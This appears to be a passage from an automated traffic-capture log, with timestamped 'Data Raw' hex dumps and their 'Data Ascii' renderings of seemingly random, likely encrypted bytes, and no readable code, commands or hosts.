                                                                                                              2022-11-10 19:35:34 UTC94INData Raw: 0a a3 b7 3a d1 91 3a a7 58 f9 eb f5 46 0c c1 f3 00 3d 3a 68 b4 74 6b 16 e6 bd 1b 64 d0 35 ee 48 28 71 23 87 fd 5a 34 b5 5d 85 aa b6 ca 76 d6 26 f8 10 d0 99 b9 21 7d b7 bc 1b f9 47 4c 60 66 5f 66 ee 66 7e 8f 3d 3d 6b d9 12 1a 48 43 75 cc 91 8c b9 49 84 84 7c 44 67 8b cb d5 b1 31 d5 8a 17 61 63 c9 fc c6 8b cd 09 e9 a5 dc 66 be 97 a4 70 e7 34 ad e5 56 06 aa 82 e5 ff 26 40 55 bb e6 6e 17 2d 17 d7 bb 52 2a c7 0c cf 18 97 5d 59 52 4d 8c a5 08 b8 25 b7 5d 84 d2 4a d3 88 63 c2 1b 86 d1 c5 54 f1 1e 33 c5 c6 40 ce c3 9b 3f 53 86 f4 2f c5 c1 b1 5e 66 95 bd 2e 1b 7a 30 f1 c5 8b 61 49 0e 92 a8 a7 68 97 56 9c f3 0b ce f8 b0 22 bb 32 ed 45 1e 51 65 97 01 f1 9c eb 22 e4 70 c2 be fa ec cc 2c 9c 6c 4d 6e d5 78 c3 2a 00 ae c7 96 a8 93 93 24 c4 9b 8d aa 19 4c b5 80 6a 96 66
                                                                                                              Data Ascii: ::XF=:htkd5H(q#Z4]v&!}GL`f_ff~==kHCuI|Dg1acfp4V&@Un-R*]YRM%]JcT3@?S/^f.z0aIhV"2EQe"p,lMnx*$Ljf
                                                                                                              2022-11-10 19:35:34 UTC95INData Raw: c9 df 9d ea 7c cd d5 52 0a cf 71 d6 b7 06 ea a9 dd c0 4f e0 e6 87 58 80 61 e7 f2 cc f2 0e 8c 77 5a 72 fa 35 f1 ad 3e 00 36 36 c9 78 88 c2 d2 5a a7 15 ef dc 9e 2a c2 ee 74 ba 35 47 fa 53 45 d7 2c b9 25 de bb f4 cd 6f 21 4a c2 32 73 2b 60 cf 89 61 b2 d3 79 59 01 65 6f 9c 7d b6 5f 73 7a 3c 5e ad c6 25 95 f2 6d 6d 40 12 04 76 d4 fe a2 a9 a9 0a 37 71 c7 a1 f8 1e ba 31 f4 de b4 c1 03 2a 7f 02 83 bf f3 f4 78 46 ee 34 0e 17 f0 76 9c 4b 1c bf cc e3 bd 50 d8 93 6d 6f 05 ee 27 16 f1 21 60 7f bf 55 d7 b3 5e 27 04 54 29 30 92 ef 75 5d 8d e5 56 de f9 be dc 5d 6c 8e 12 15 f6 6d 76 40 ce 0b 44 eb b2 2f 44 eb 5d 1a 0d e5 dd 37 77 aa 10 bf ce 0e af 97 99 55 33 4e a3 6b 47 8a f2 17 0b 66 60 e5 35 c6 02 7c 00 c5 a6 06 82 a5 a9 a5 fb d4 b8 95 13 27 3c b6 89 a0 a6 bc c0 ec f2
                                                                                                              Data Ascii: |RqOXawZr5>66xZ*t5GSE,%o!J2s+`ayYeo}_sz<^%mm@v7q1*xF4vKPmo'!`U^'T)0u]V]lmv@D/D]7wU3NkGf`5|'<
                                                                                                              2022-11-10 19:35:34 UTC96INData Raw: 4f 4b d1 dd ad cc 69 86 f4 b9 c2 fd b8 56 7f f6 30 3a 7b 07 28 d1 69 9a 66 26 62 82 a7 b2 1c de 1c 00 e4 16 d8 cc a3 f3 bb 38 d7 d4 f0 a1 85 54 10 b9 09 04 3b e0 6e d9 39 84 9d d3 33 89 e3 c0 79 f2 ec d8 3a 8b 86 9f 97 a9 86 9a 24 cd e2 40 33 19 46 a7 14 53 fd 73 09 37 08 3b 88 2d 66 31 a3 79 5a 09 af 34 74 c9 b4 4c ec 4c 15 7e 6a 61 8f 28 5e ba 44 f1 fd c8 79 58 65 3f 34 2c 17 79 5d ca 99 0b bb 64 c5 e7 e6 ce ae 72 f4 b4 9a 61 8f 82 c0 47 d0 df 47 9f 28 d7 69 40 f4 1c 30 1d e9 fa 88 00 75 65 2c 1b 18 a6 4b 86 41 61 41 d0 ef 04 c9 ad 6c 53 e5 0d 57 73 91 6a d1 2c 5f 1b ac bb e3 e7 4d 2b ad 24 53 29 4b 92 47 f7 b6 69 f4 4d 12 bd a8 4c 2f e3 80 a2 53 25 5b a9 c8 32 b0 15 67 d9 e3 1b ef 0c c0 21 9c 90 a9 76 84 97 a2 a2 63 cd 5e 8b b3 3a 10 09 86 cf b3 01 50
                                                                                                              Data Ascii: OKiV0:{(if&b8T;n93y:$@3FSs7;-f1yZ4tLL~ja(^DyXe?4,y]draGG(i@0ue,KAaAlSWsj,_M+$S)KGiML/S%[2g!vc^:P
                                                                                                              2022-11-10 19:35:34 UTC98INData Raw: 99 16 d8 1c 3d 9b 81 c1 77 9d ee 7b d8 fd 48 c9 53 7e 8e 00 13 f6 61 69 e7 c0 23 85 ee a1 3f 3a 59 49 0c 8b c9 d1 21 65 03 39 35 d8 11 bf 0a aa 44 38 d5 12 7e 40 9a 89 a6 21 3e 6a f6 31 f8 00 71 38 bc b4 08 93 ba 8f e5 f6 4e a1 bb d6 20 53 8a 98 af bd 9b 2a 3b f3 30 bd f1 34 8b 16 81 3f 94 ff cc 5d fb c2 c7 6d 9a e0 60 68
                                                                                                              Data Ascii: =w{HS~ai#?:YI!e95D8~@!>j1q8N S*;04?]m`h
                                                                                                              2022-11-10 19:35:34 UTC98INData Raw: 10 e1 a1 a3 99 52 de a3 71 36 eb 83 ef 0a 7e b3 c5 a8 d4 5f 79 13 e8 03 92 97 1d 4d c2 27 af 1c dc c4 28 c5 8f 3c 2d 0a 09 ea f4 5f 72 82 e3 16 2c 9e ca a5 63 43 b8 e1 95 87 46 c1 22 ee f0 3e 6e 32 9d fd f3 2e a3 4c 80 cf 04 d7 76 dc 36 d7 6b 20 98 b3 03 84 38 bc 11 8d 49 4a 67 76 49 0c 9d 63 6a ad e8 3e 04 2f 04 97 45 55 5d 1c 83 9c ae 36 c6 ad b9 46 4c fc 78 c3 89 b2 c5 9e 39 2f 4b f3 f6 d2 a9 1d 3e d2 a4 db ee d6 f5 a6 71 f9 31 be a2 fe 07 aa 82 e5 bb 24 40 59 be c7 45 10 39 35 05 91 16 3d d6 86 d9 1d f8 3e 48 42 56 8d b4 4f 8f 20 b7 51 30 eb 8b c6 9c 71 85 17 87 d1 c9 6b ff c9 30 ed 58 52 43 c2 8d 17 68 92 e0 31 fb aa a7 4f 6a ba fd 2b 74 12 21 f9 de 93 4a 7f ef 9a 80 56 07 c1 5d b1 a5 08 cf fc cf 31 b3 10 2c 48 e1 a4 b7 0a 7c b3 94 15 32 ec 7a d3 af
                                                                                                              Data Ascii: Rq6~_yM'(<-_r,cCF">n2.Lv6k 8IJgvIcj>/EU]6FLx9/K>q1$@YE95=>HBVO Q0qk0XRCh1Oj+t!JV]1,H|2z
                                                                                                              2022-11-10 19:35:34 UTC99INData Raw: 3d 9d 84 40 4f a4 19 94 02 23 20 1e 11 4e 9a eb 4b e7 0a d9 80 78 41 cb 91 d9 d1 39 eb 7f 5c d0 f2 d9 fb 71 49 5b 39 d1 dc 64 cc a8 27 91 24 d2 d1 4b 0a 6e ab 4a 9b 4c 06 27 df f1 37 be 60 8c 6b e7 28 f6 ad 21 5e 4c 25 c4 06 63 5f d0 5b bc 38 9d 04 89 f6 5c a2 65 b1 27 7a 4b 42 51 e5 60 b4 25 de b1 f2 d1 6a b3 71 92 22 7e 30 7d ea b7 8b b3 d9 1c eb 53 64 65 a3 73 a4 5a 67 78 37 59 b0 e9 fa 22 e5 bd 56 43 03 0b 5b 92 80 a5 b8 ac b3 8e 5b e0 b6 d6 1a bf 20 fd 20 c4 ce 62 08 c1 b0 87 b5 dd a5 6f 44 e4 1a 5d 78 f0 7c 85 5e 03 a1 d5 21 86 35 cb 9c 7a 6f b9 38 36 1e e1 33 1b 3f 96 0d d1 a2 5c 10 c1 dc 16 36 fd b6 62 75 9b e2 47 dc ba 65 cc 53 72 b7 b2 06 20 78 7f dc d8 1a 56 64 16 06 f7 03 b4 f3 5f d5 f8 1f 36 08 01 a3 ca 01 97 5a a6 55 39 91 01 7c 7b 9e e6 42
                                                                                                              Data Ascii: =@O# NKxA9\qI[9d'$KnJL'7`k(!^L%c_[8\e'zKBQ`%jq"~0}SdesZgx7Y"VC[[ boD]x|^!5zo863?\6buGeSr xVd_6ZU9|{B
                                                                                                              2022-11-10 19:35:34 UTC100INData Raw: 1a db 35 70 3f 5b 58 e5 8c ae 7e 60 6f b5 57 94 58 8a de 92 74 ab ed 96 dd eb 0e d7 0f 3e 82 22 44 ce cf 92 09 7a 8b f4 34 de ed a8 b1 61 be bc 3a 70 30 50 f1 cf 90 5f ab fe 93 a8 b2 17 d2 5a 9c e4 14 d8 f3 7d 21 97 34 c6 40 f0 a7 14 fe 3d 87 8a 31 27 f2 70 d3 a8 8a b3 32 2d ba bc 4d 6d e6 df 08 2a 06 c1 80 b5 bb 98 95 24 cf eb 73 55 18 6a a0 9e 51 f8 7b 02 2b 99 2a 96 38 66 50 c1 69 79 09 9e fd 63 d6 ae f8 b3 43 0f 6b 35 21 9a 27 43 8d 3b 6d ec cd c7 58 23 b0 28 23 1b 6b 05 46 76 05 89 43 25 f4 e3 d1 23 70 f6 ab 82 4c 79 8c 3e 46 60 c5 59 89 33 c0 fd cf e1 0c 20 05 c4 78 99 0d 6a db c3 15 2b a0 7a 7a 56 b7 52 44 e1 28 c5 ad 73 29 74 03 47 92 9e 59 92 a1 44 05 b8 3a 74 33 cb 2b ad b8 5d 06 4b 9a 40 95 49 77 ed b5 00 95 79 49 0d d3 d1 a7 7b a7 48 af c4 9c
                                                                                                              Data Ascii: 5p?[X~`oWXt>"Dz4a:p0P_Z}!4@=1'p2-Mm*$sUjQ{+*8fPiycCk5!'C;mX#(#kFvC%#pLy>F`Y3 xj+zzVRD(s)tGYD:t3+]K@IwyI{H
                                                                                                              2022-11-10 19:35:34 UTC101INData Raw: fe 2d 6c 86 f1 5a 9f 60 7d ad c2 f7 8a 34 c9 83 6b 68 98 f6 33 e8 f1 19 65 6d bf a6 d5 b3 5e b4 2b d8 16 31 81 eb 7c 60 8e f4 56 c5 c5 97 e7 ad 79 8a a4 05 e5 6e 71 e6 da 1b 44 fb b1 26 72 03 4a 20 8c cb d7 44 da 0a 01 a3 ca 18 a0 33 b5 45 33 5e 11 65 41 60 e7 2f 32 38 48 48 3d ee 19 f0 f5 cf b5 09 80 ae 9e e5 e8 c4 b2 ac d7 3d c2 b1 b6 bb b8 b3 c0 75 f1 36 9f c2 24 e1 ca ba 10 84 fa ee 05 e7 d1 dd 54 cc f1 7f 72 9d 9c 8f b8 95 91 f1 b2 76 20 eb 54 eb 0a 72 8c 76 ae d4 55 5d 3a b6 10 9d 81 2a 57 7b 25 b0 0f dd c5 27 dd 65 2a 8c 25 18 ef dd a4 63 93 f8 8c 06 02 db b5 67 6e 18 ec 86 9d 60 c1 23 e7 76 ec 70 0f 96 ed b9 f0 b2 4c 81 ed c0 c8 76 d6 1f c1 7e 20 92 91 3a 44 38 b6 08 fc 49 5d 74 67 5a 18 9c 7b 5f 7b 2d 16 0b 38 1d 0d d8 7d 4c 1d 90 86 ac 21 cf a7
                                                                                                              Data Ascii: -lZ`}4kh3em^+1|`VynqD&rJ D3E3^eA`/28HH==u6$Trv TrvU]:*W{%'e*%cgn`#vpLv~ :D8I]tgZ{_{-8}L!
                                                                                                              2022-11-10 19:35:34 UTC103INData Raw: ef ce f7 63 fb ab 79 41 66 93 d6 54 49 e5 15 80 33 cd 70 22 e4 3f 2c 0e da 7d 88 11 70 e1 c3 15 2b a1 69 71 32 d1 43 4c f4 00 cf b3 76 38 68 19 41 92 9e 59 bf b7 5a 3c 53 b0 c3 0a 5a a6 aa b8 42 27 54 9f 56 80 c8 57 f4 4b 00 1b 7e 4c 1e e3 d4 a0 53 25 52 bc cb 3e 89 51 71 27 e8 ea 34 1b d3 24 8d 85 84 01 7e 96 88 cf a4 ce 75 2c a2 d0 39 e4 80 a0 58 17 dd 11 83 23 fb 85 4b 9f 2e 7e 80 2d 44 7f 8f 47 0f f5 9a 32 f8 b1 a0 84 53 5d a5 0e ad 16 37 37 84 13 43 c1 e3 4a e7 06 db 8c 7f d9 f6 b8 bf 91 a2 c3 68 4a c3 fd 1f d5 7c c7 ed 06 1f cf 71 d5 8e cc 85 35 d5 b9 7a 9b 78 84 29 b5 49 11 f0 32 ff 25 b0 03 56 78 e9 22 d2 a2 36 47 b9 04 cc 72 f7 5e d0 5a 46 3d 8a cf 88 33 d4 dd 90 b1 26 52 ec 51 54 f1 ea b9 09 ec a2 e3 d5 61 d4 6b ce 23 74 25 7c cf d8 63 b2 d3 15
                                                                                                              Data Ascii: cyAfTI3p"?,}p+iq2CLv8hAYZ<SZB'TVWK~LS%R>Qq'4$~u,9X#K.~-DG2S]77CJhJ|q5zx)I2%Vx"6Gr^ZF=3&RQTak#t%|c
                                                                                                              2022-11-10 19:35:34 UTC104INData Raw: 77 e0 b3 0a dd d0 29 d7 15 9c 9f 56 f6 15 0a 64 76 91 f2 06 11 02 c8 84 76 6b c7 e1 95 8d 8e d0 33 e9 76 01 74 1b 2b eb 69 06 b2 5d 85 db 2a c9 5a cc 3f fc 10 fd 98 b9 21 7d af bc 1b f9 49 43 74 72 5a 18 89 78 80 84 00 32 3c a3 13 1a 42 48 4e 18 90 9d ba 31 2e 84 50 41 54 e9 df d2 88 a3 cb 74 10 5b 4d f5 ef c2 9a c8 3f d2 b3 c8 78 2f f4 8a 75 fb 28 b6 99 a3 07 bb 8d d5 14 25 6c 59 af e6 df 16 2d 17 cb 8c 05 3e c1 1a db 04 06 3e 77 5b 41 13 15 71 79 6c ad 44 97 fa 8a d7 97 6c 53 4e ab d7 cb 55 c8 05 27 e8 5e 55 cb d8 73 16 45 8e e5 21 da 68 ab 51 73 97 ac 3a 71 0e cc f0 e3 99 71 35 fb 93 b9 a8 18 cb a9 9d d9 1b ec d5 bb 75 44 c7 28 41 f6 78 97 40 1e e7 1b a2 06 2d 64 e8 be a5 96 cc 1e 96 b0 5c 87 fd e1 d6 28 2a c7 9d 19 1f 83 a6 37 d6 de 48 42 18 46 ad 8a
                                                                                                              Data Ascii: w)Vdvvk3vt+i]*Z?!}ICtrZx2<BHN1.PATt[M?x/u(%lY->>w[AqylDlSNU'^UsE!hQs:qq5uD(Ax@-d\(*7HBF
                                                                                                              2022-11-10 19:35:34 UTC105INData Raw: e1 6a 4e d2 f3 e7 bb 7c c7 e6 25 d5 de 54 f7 e6 0c 85 3f cc c7 51 90 50 c4 58 8a 43 cf f1 cb de 26 b0 76 4a 78 e9 39 f8 a9 34 b1 59 34 d8 5f f3 5f d1 49 9d 39 8a ea 9f 20 d1 16 65 b1 37 44 ff 4b 69 7d 14 b8 25 de bb ea cb 85 ba 75 cc 3b 6d 31 6c f6 d3 79 4c d8 3a 8a 03 0a e0 a5 65 bd 45 2e 7d 1f 53 b8 fd 7f 95 e3 6c 5c ab 11 28 79 93 84 a0 a9 a5 08 82 66 cc a7 c1 00 a2 cf f3 9d 98 e1 03 24 57 b2 0a f8 f5 dc 6c 4e f8 3e 77 75 c8 e4 96 58 12 b8 d1 f0 83 29 d3 91 62 16 9b eb 27 1c e3 3d 7d 7c 41 00 ff 5b 50 38 12 c9 1e 5f 3d ef 63 7f 8e ee 47 de c3 a7 ee 7b 6d a4 a3 17 dc 70 7d c6 c9 1a 4f fc 5f 38 79 fe 5c 1f 8a da cc 3c 6d f6 00 85 db 3a ba 23 cf aa cc b0 10 7d 4d fc f7 09 f5 2d 67 f4 36 f9 c5 6f 09 de bc 11 a2 02 87 fc ea d3 ad ad a4 06 c3 b0 9a af e8 07
                                                                                                              Data Ascii: jN|%T?QPXC&vJx94Y4__I9 e7DKi}%u;m1lyL:eE.}Sl\(yf$WlN>wuX)b'=}|A[P8_=cG{mp}O_8y\<m:#}M-g6o
                                                                                                              2022-11-10 19:35:34 UTC106INData Raw: 46 2b cd c2 55 c9 da c7 08 21 1a e5 22 cc b9 b8 1b fc 83 ab 34 38 07 66 6d de 9d 79 6b e1 c3 34 bc 00 de 19 83 d5 85 d6 d7 9c 6f a4 48 4b 59 e6 b1 ca 56 7d 7f 84 12 2b ae 6f ad 39 84 95 d3 7e 89 c8 c0 79 fa fe 94 3c 9a d0 98 84 ad 83 9e 1d d7 f6 60 ad 15 50 ae 9c 6a 98 66 16 3e 82 a7 80 35 79 58 2b 7c 41 38 d7 fa 74 c3 ac 5c c2 43 0f 60 35 ec 9f 27 4f 8d ba 6d ec cd 76 4f 3a a5 0e 70 02 6f 0d db 8f 04 a5 45 2f ee f7 c7 24 72 fd 27 ac 41 66 83 62 56 45 da 60 e5 23 c8 6d cd e0 14 be 9a 8e 78 88 01 5d d8 3f 14 0d 82 d6 72 41 6b 69 34 fc 0b dc 88 0a 3a 79 16 70 50 9f 75 97 bc 49 03 65 bf c4 1d 4b 3c 7b 89 40 30 53 86 46 93 92 7b f2 5a 07 a8 7e 69 ad c3 ca 7c 41 07 08 af ce 34 b0 41 65 d9 ef cc 1f 4d c0 21 87 4a 81 1d aa d6 b8 cd 8f cc 5e 8d a5 c4 11 18 82 90
                                                                                                              Data Ascii: F+U!"48fmyk4oHKYV}+o9~y<`Pjf>5yX+|A8t\C`5'OmvO:poE/$r'AfbVE`#mx]?rAki4:ypPuIeK<{@0SF{Z~i|A4AeM!J^
                                                                                                              2022-11-10 19:35:34 UTC107INData Raw: ae b1 54 32 3c e4 16 30 98 e4 72 7b 8a 32 45 da c4 86 dc 41 49 0e 7d 1e d3 43 2e cd c9 01 57 e5 89 78 55 fd 41 d2 81 dc f7 37 37 14 01 a9 d9 11 bf 1b a0 55 33 4f 11 78 51 9e f0 01 23 3e 6f e5 3f ee 3e 7c 00 ce a6 38 90 ab dc f4 fb d4 42 bd c7 37 23 bb 17 e8 b7 b3 e9 35 f5 20 b5 5e 34 8b 1c 0e 3c 92 e5 99 93 fd da ed a8 dd e1 60 f4 65 84 bc ac 0f 47 c3 92 f8 22 c3 40 77 0c 63 84 fb af d4 5f e4 06 fb 32 75 81 0c 48 fc 30 bd 10 a5 49 3e cf 84 58 3c 31 16 e3 d5 e3 63 93 f2 9c 3d 1d d1 94 8b 6b 07 e1 09 8b e0 89 32 f8 64 38 6f 21 a5 f8 59 04 b2 4a 81 c5 d4 31 76 dc 26 e9 6c 27 a0 4e 2b 44 38 bc 0a fe 4b b4 66 5b 52 31 4b 64 7e 85 32 29 03 29 02 1d 55 ab 5c 31 93 94 ac 21 d0 94 7b 5b b2 fb f6 db b1 b3 d3 8a 17 7b 51 e0 fb c6 90 dc 24 2c a3 e1 70 c0 f0 b7 74 82
                                                                                                              Data Ascii: T2<0r{2EAI}C.WxUA77U3OxQ#>o?>|8B7#5 ^4<`eG"@wc_2uH0I>X<1c=k2d8o!YJ1v&l'N+D8Kf[R1Kd~2))U\1!{[{Q$,pt
                                                                                                              2022-11-10 19:35:34 UTC109INData Raw: 70 e6 30 07 0f aa 7a 7a 5e 68 bf 4d d2 01 c7 a7 6f 27 21 80 47 66 8c 7d 9d a1 46 09 4d b5 ef 05 5c 2c b7 a7 61 ba 46 84 48 84 55 60 eb 45 ff b8 5a 5f 1c d8 c6 bd 5c 3c 40 af df 36 87 5e 99 d8 c5 cf 26 0b dd 3c 11 8b 8a 08 88 97 b5 c5 90 d8 a0 8c 89 cf 19 0f ed 5b 5f 00 5a 09 96 30 f2 89 52 81 34 e4 41 2c 68 73 25 46 16 93 38 24 ef 36 97 9b 44 4f be 0a ad 1a 3e 2b e6 03 6b ee aa 4d ea 13 c6 9b 61 49 cb 95 a9 96 c6 ea 55 46 d2 f1 d2 d4 ff c7 ec 2e 14 dd 62 d7 a6 1d 8d 2a cc 3e 44 b7 72 f6 ef 88 49 1b fd d3 e0 35 b8 77 4b 70 f6 2b 06 bd 18 68 bb 30 c4 6d e0 4c d8 5a bc 35 94 20 9f 0c db f4 62 aa 39 1c 70 5f 58 fc 1c b8 34 d6 b6 1f dd 57 b3 48 c8 3a 62 a6 71 f4 d0 61 a3 d1 09 89 ff 64 49 a9 7b 3a 18 73 6b 30 5c a5 f1 7a 86 fa 67 54 5d 07 fa 71 97 92 ba ba ab
                                                                                                              Data Ascii: p0zz^hMo'!Gf}FM\,aFHU`EZ_\<@6^&<[_Z0R4A,hs%F8$6DO>+kMaIUF.b*>DrI5wKp+h0mLZ5 b9p_X4WH:bqadI{:sk0\zgT]q
                                                                                                              2022-11-10 19:35:34 UTC110INData Raw: bd 60 64 d0 35 d0 10 10 71 29 e2 e8 68 06 b8 5f 8b ee cf d9 7d b3 7a ff 7f 2a ec 30 2b 44 39 af 1f f1 47 4e 08 70 5b 09 86 0b 02 85 2c 30 15 22 7c 4c 42 55 57 30 4c 52 a9 37 db f0 31 42 4c fb f6 de 88 ad a4 c7 11 77 4a 9c 82 c6 81 d1 e6 db 8a 23 67 d1 f3 8e 00 ef 25 a0 e5 a5 06 aa 82 de e6 0f 5b 42 a1 a1 19 17 2d 17 b5 1c 16 3b c0 18 db 15 e9 3a 34 55 46 9d a8 08 34 24 b7 5d 83 f6 f4 84 88 65 a7 62 5b 0f d5 6e db 7a 79 ed 5e 45 e2 c9 9c 1b 1c cb f4 25 d2 9d d9 4f 60 98 70 39 7e 30 eb f0 cf 90 5c 6a 01 6c 57 73 09 d3 5d 62 e3 0d c7 d0 98 4f c5 38 d7 42 3d a6 f5 95 0e e3 9f 03 09 16 70 c2 a5 bd 49 cd 2c 90 a3 5a 79 fb 8e 1b 2b 06 cb 89 a9 7d 95 95 35 d3 f2 0f 7c 18 46 ad 9b 4f ca cf 16 38 94 38 8a 1d a1 58 3f 62 46 17 9e fd 5c 24 b0 d0 fb 6b 7f 63 1d f7 f1
                                                                                                              Data Ascii: `d5q)h_}z*0+D9GNp[,0"|LBUW0LR71BLwJ#g%[B-;:4UF4$]eb[nzy^E%O`p9~0\jlWs]bO8B=pI,Zy+}5|FO88X?bF\$kc
                                                                                                              2022-11-10 19:35:34 UTC111INData Raw: 0e e4 50 f2 39 af 57 b7 78 e9 39 64 ba 2b 4f b5 4f 55 74 ec 7e cf 4e 31 3b 95 fc be ac d1 e5 65 2d 20 4d cf 60 b4 ef 14 b8 b9 d8 b5 c5 c3 30 27 5f d0 06 61 7c f0 e1 c7 47 ad d4 8a 82 1e 42 45 64 65 b7 5f ef 6d 2e 67 81 60 74 95 f2 fb 43 4a 39 24 8e bb 91 a2 35 a5 3d b2 55 11 a7 d0 0b 24 37 ed 9a fb 26 03 20 57 2e 81 a0 d9 c3 4a d8 e8 2d 4c 67 85 ea 90 47 3c b2 5e f1 8a 15 fa 18 6b 79 88 75 21 09 c0 2a 3d f7 91 12 e6 a5 c8 3e 0b ea 36 ec 92 ee 63 e9 9b fb 65 cb da 14 cb 4c 4c b9 93 8d f0 74 5b ed 69 0b 44 ea 3d 3f 4a cb 6b 92 81 da dd ab 70 17 36 89 24 11 bf 1b 3a 53 2c 77 1e 73 cd 98 f9 3a 03 bb 60 e5 3f 72 15 63 3a ef 44 08 93 ab 1d f2 e4 ef 92 75 c7 26 3c 2c 9c b0 8b 93 42 3f f3 36 09 db 2b b6 03 e7 a6 83 e5 da 2f 3a c2 cd 54 41 e7 7f 57 7d 01 a5 bc d3
                                                                                                              Data Ascii: P9Wx9d+OOUt~N1;e- M`0'_a|GBEde_m.g`tCJ9$5=U$7& W.J-LgG<^kyu!*=>6ceLLt[iD=?Jkp6$:S,ws:`?rc:Du&<,B?6+/:TAW}
                                                                                                              2022-11-10 19:35:34 UTC112INData Raw: 39 f3 6d a9 81 2e d0 50 9a e4 11 5d f8 7a 24 bb 3e ff b2 e5 ae 9c 5f 27 73 95 15 32 d7 24 c2 a5 9f ba 2c 2d 96 b6 33 3c fc e1 c1 35 08 d2 94 97 b9 9e 8e cb c3 d8 72 a3 31 b3 a3 88 44 da 3b 17 38 9e 3d 1d 26 7c 45 2c 63 55 01 84 ec 8a c8 98 d3 ea 50 04 61 0c f6 81 35 bb a4 2b 6f c7 c2 5d 6d d7 5c da 2a 20 75 2a 53 88 4d a5 44 3c e3 e7 ce 23 75 f7 80 a2 41 6e 95 3e 46 60 cc 50 8c 22 c0 7f 22 e4 3f 20 14 b7 24 89 00 71 ef 15 28 05 aa 61 79 58 6d 41 44 e8 f5 d7 8c 71 2f 75 1c 50 75 61 74 b1 b2 65 16 98 79 eb 7a 4d 2b a7 bf 58 21 d6 20 5a 5e 2b 98 f4 4b 0b 93 76 58 0a d8 f0 a7 53 da 48 af ce 3b 99 54 76 cf e4 ed 74 0c c9 3b 73 95 ad 1f 96 bd bf c0 8f c5 49 73 a4 e8 13 00 8f a0 57 19 ae 17 af 29 f8 a1 11 89 2b f8 92 0f 5e 73 2d 46 1a 02 8f 0a ea 38 89 d5 4a 51
                                                                                                              Data Ascii: 9m.P]z$>_'s2$,-3<5r1D;8=&|E,cUPa5+o]m\* u*SMD<#uAn>F`P""? $q(ayXmADq/uPuateyzM+X! Z^+KvXSH;Tvt;sIsW)+^s-F8JQ
                                                                                                              2022-11-10 19:35:34 UTC114INData Raw: c1 1c 9e f9 b4 2a 5a d6 03 1d 85 f2 39 36 76 0e 29 3f db 11 b5 08 b0 47 25 67 89 7b 51 94 f5 0d 32 3a 71 e1 29 81 c7 7d 00 c5 da c1 91 ab 8b d2 ea d0 a3 b9 d1 49 e8 b1 9a a5 d8 7a ea 3f f9 10 84 db 25 85 34 ae 3a 85 f0 f7 09 ea cd da 82 ce ee 71 67 72 88 92 11 91 45 f1 8e 76 22 c9 53 e2 1b 7e b5 41 b5 bb 95 7a 00 ed 01 95
                                                                                                              Data Ascii: *Z96v)?G%g{Q2:q)}Iz?%4:qgrEv"S~Az
                                                                                                              2022-11-10 19:35:34 UTC114INData Raw: 90 0a 5e 71 3e cf 86 cd d5 32 c2 9d 3a a6 26 00 c2 e0 4e 63 95 9d 6f 3b 02 d1 a7 72 7a 01 eb 4b 9f 48 90 33 f8 6a 3a 64 21 8d ed 63 2e f3 4c 80 cf 0a c8 70 f6 37 be 63 20 98 b9 2b 44 38 bc 1b f9 56 9d 65 77 5a de 8e 64 7e 97 2c 3a 04 04 13 1a 43 46 6d 1e 90 03 bf 26 d0 8d 7d 42 5d ec d7 ea e3 a6 d1 8a 11 7e 5c 0d fd ea 83 c3 37 d2 ab d6 9d d0 d9 bf 72 96 78 ab 8a a2 00 3b a8 4d ea 24 40 0c 8d 4e 54 17 2d 33 96 92 3c 27 cc 0b d7 05 06 3e 77 5f 44 9f d9 3a 49 24 b3 d9 25 cb 92 cb 85 65 a4 55 79 d0 ef 66 d4 0c 2a 3b 52 4f e5 f1 8a 15 12 db f5 25 d7 7c 10 58 ba a3 1b 3d 5e 03 3f f1 c6 83 98 27 d2 97 be 87 1d cc 57 95 e3 e7 c6 fc 81 37 b6 38 de 54 1f af b6 4b 24 e1 be 91 33 e8 a6 c9 a2 9d a3 04 2f 88 66 76 68 ee d1 c1 2a b5 c0 9f 97 a1 94 95 24 d4 e7 69 93 fc
                                                                                                              Data Ascii: ^q>2:&Nco;rzKH3j:d!c.Lp7c +D8VewZd~,:CFm&}B]~\7rx;M$@NT-3<'>w_D:I$%eUyf*;RO%|X=^?'W78TK$3/fvh*$i
                                                                                                              2022-11-10 19:35:34 UTC115INData Raw: b6 83 30 fa 7d 9c 4c 95 cf ea 7e ef 05 2f 0b c5 73 a4 fb 0d 85 31 d9 b3 8b 99 78 8f 49 8f 3a de f3 cc fe 0e 60 75 5a 72 c1 eb fa bc 3e 66 bc a2 7e 1d 03 5f d0 50 d0 54 8b de 9a 3f fb f6 6a b1 37 5d f3 51 af ee 38 81 27 d8 26 57 dc 7b ba 48 c7 25 f2 8c 6c e7 d9 49 a3 d8 16 8e 29 69 64 a5 6f a0 d3 4c 6b 31 4e 89 e2 75 95 f8 4f f8 55 10 0e 1f 5d 90 a2 af 2f 1d 98 75 c6 b4 d6 14 aa 22 fd b1 ca ce 1c 2b a9 b3 ab b6 cd 27 64 44 ee 2d 6d 6b ff 76 87 57 0b 50 c3 db a3 38 d9 e0 a5 7b 88 e3 3e 7c 83 fa 76 6b 9d 25 07 b1 54 32 3c 0a 14 30 98 f6 0c 9c 9c e4 50 a7 1b 8a cd 59 06 75 a1 11 fc 43 ba cf c9 01 6c 3f a3 39 5f f6 51 1f 8e da cc 38 69 25 ff a8 f5 0e bd 60 f9 54 33 4b 72 b4 53 9e ec 7d f0 3c 60 ef 17 38 11 7c 0a d9 f5 75 95 ab 81 eb d5 c7 bd bd d6 29 23 94 64
                                                                                                              Data Ascii: 0}L~/s1xI:`uZr>f~_PT?j7]Q8'&W{H%lI)idoLk1NuOU]/u"+'dD-mkvWP8{>|vk%T2<0PYuCl?9_Q8i%`T3KrS}<`8|u)#d
                                                                                                              2022-11-10 19:35:34 UTC116INData Raw: eb ad d5 0f 3e e4 49 d2 79 aa 7d 17 69 8c 89 4f d2 f2 a3 50 4f 81 a3 2b 65 17 2d e1 31 9b 4a 33 fc 95 2c bc 0f e9 ea 9c f5 13 a8 37 82 20 bd 2b d0 57 f0 bd 95 49 1e ec 8a 0f ca fe 5c da a7 84 9a e4 91 96 b0 56 07 1b e0 c7 2c 8a fe 9f 97 a9 86 93 2a d9 e7 6f ab 08 49 b8 cd bc f3 48 22 3a 97 59 49 37 79 53 20 64 3f 63 40 f8 74 c3 9c 00 ff 43 05 70 11 e5 46 54 94 a7 07 67 c4 17 67 47 23 8b f7 21 0a 6c 02 39 61 05 a5 42 bb f4 ec d1 74 70 f4 ab 82 4e 79 99 3e 46 60 d2 41 91 2b ca 76 d4 cd ae 2f 16 c3 69 8e 28 c8 f9 3d 1e 68 4d 6a 72 47 fe 5e 50 ed 04 d6 b1 7c 27 6d e2 59 40 8c 77 9b 34 21 